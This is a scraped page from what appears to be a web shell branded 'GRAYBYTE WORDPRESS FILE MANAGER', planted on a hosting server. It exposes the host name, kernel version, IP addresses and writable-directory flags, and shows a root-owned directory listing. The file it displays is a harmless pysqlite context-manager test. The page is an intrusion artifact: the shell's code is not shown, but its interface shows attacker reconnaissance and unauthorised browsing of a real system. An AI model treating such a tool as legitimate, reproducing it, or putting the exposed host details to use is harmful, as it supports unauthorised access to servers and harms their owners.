✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.254
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python2.7/sqlite3/test//py25tests.py
#-*- coding: ISO-8859-1 -*-
# pysqlite2/test/regression.py: pysqlite regression tests
#
# Copyright (C) 2007 Gerhard H�ring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty.  In no event will the authors be held liable for any damages
# arising from the use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
#    claim that you wrote the original software. If you use this software
#    in a product, an acknowledgment in the product documentation would be
#    appreciated but is not required.
# 2. Altered source versions must be plainly marked as such, and must not be
#    misrepresented as being the original software.
# 3. This notice may not be removed or altered from any source distribution.

from __future__ import with_statement
import unittest
import sqlite3 as sqlite

did_rollback = False

class MyConnection(sqlite.Connection):
    def rollback(self):
        global did_rollback
        did_rollback = True
        sqlite.Connection.rollback(self)

class ContextTests(unittest.TestCase):
    def setUp(self):
        global did_rollback
        self.con = sqlite.connect(":memory:", factory=MyConnection)
        self.con.execute("create table test(c unique)")
        did_rollback = False

    def tearDown(self):
        self.con.close()

    def CheckContextManager(self):
        """Can the connection be used as a context manager at all?"""
        with self.con:
            pass

    def CheckContextManagerCommit(self):
        """Is a commit called in the context manager?"""
        with self.con:
            self.con.execute("insert into test(c) values ('foo')")
        self.con.rollback()
        count = self.con.execute("select count(*) from test").fetchone()[0]
        self.assertEqual(count, 1)

    def CheckContextManagerRollback(self):
        """Is a rollback called in the context manager?"""
        global did_rollback
        self.assertEqual(did_rollback, False)
        try:
            with self.con:
                self.con.execute("insert into test(c) values (4)")
                self.con.execute("insert into test(c) values (4)")
        except sqlite.IntegrityError:
            pass
        self.assertEqual(did_rollback, True)

def suite():
    ctx_suite = unittest.makeSuite(ContextTests, "Check")
    return unittest.TestSuite((ctx_suite,))

def test():
    runner = unittest.TextTestRunner()
    runner.run(suite())

if __name__ == "__main__":
    test()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.42 AM
root / root
0755
__init__.py
0 KB
10 Apr 2024 4.58 AM
root / root
0644
__init__.pyc
0.129 KB
10 Apr 2024 4.58 AM
root / root
0644
__init__.pyo
0.129 KB
10 Apr 2024 4.58 AM
root / root
0644
dbapi.py
29.639 KB
10 Apr 2024 4.58 AM
root / root
0644
dbapi.pyc
41.271 KB
10 Apr 2024 4.58 AM
root / root
0644
dbapi.pyo
41.228 KB
10 Apr 2024 4.58 AM
root / root
0644
dump.py
2.857 KB
10 Apr 2024 4.58 AM
root / root
0644
dump.pyc
3.475 KB
10 Apr 2024 4.58 AM
root / root
0644
dump.pyo
3.475 KB
10 Apr 2024 4.58 AM
root / root
0644
factory.py
11.305 KB
10 Apr 2024 4.58 AM
root / root
0644
factory.pyc
15.014 KB
10 Apr 2024 4.58 AM
root / root
0644
factory.pyo
15.014 KB
10 Apr 2024 4.58 AM
root / root
0644
hooks.py
7.804 KB
10 Apr 2024 4.58 AM
root / root
0644
hooks.pyc
9.684 KB
10 Apr 2024 4.58 AM
root / root
0644
hooks.pyo
9.684 KB
10 Apr 2024 4.58 AM
root / root
0644
py25tests.py
2.672 KB
10 Apr 2024 4.58 AM
root / root
0644
py25tests.pyc
2.921 KB
10 Apr 2024 4.58 AM
root / root
0644
py25tests.pyo
2.921 KB
10 Apr 2024 4.58 AM
root / root
0644
regression.py
15.02 KB
10 Apr 2024 4.58 AM
root / root
0644
regression.pyc
18.563 KB
10 Apr 2024 4.58 AM
root / root
0644
regression.pyo
18.563 KB
10 Apr 2024 4.58 AM
root / root
0644
transactions.py
7.175 KB
10 Apr 2024 4.58 AM
root / root
0644
transactions.pyc
7.935 KB
10 Apr 2024 4.58 AM
root / root
0644
transactions.pyo
7.935 KB
10 Apr 2024 4.58 AM
root / root
0644
types.py
14.657 KB
10 Apr 2024 4.58 AM
root / root
0644
types.pyc
19.942 KB
10 Apr 2024 4.58 AM
root / root
0644
types.pyo
19.942 KB
10 Apr 2024 4.58 AM
root / root
0644
userfunctions.py
14.95 KB
10 Apr 2024 4.58 AM
root / root
0644
userfunctions.pyc
24.086 KB
10 Apr 2024 4.58 AM
root / root
0644
userfunctions.pyo
24.086 KB
10 Apr 2024 4.58 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF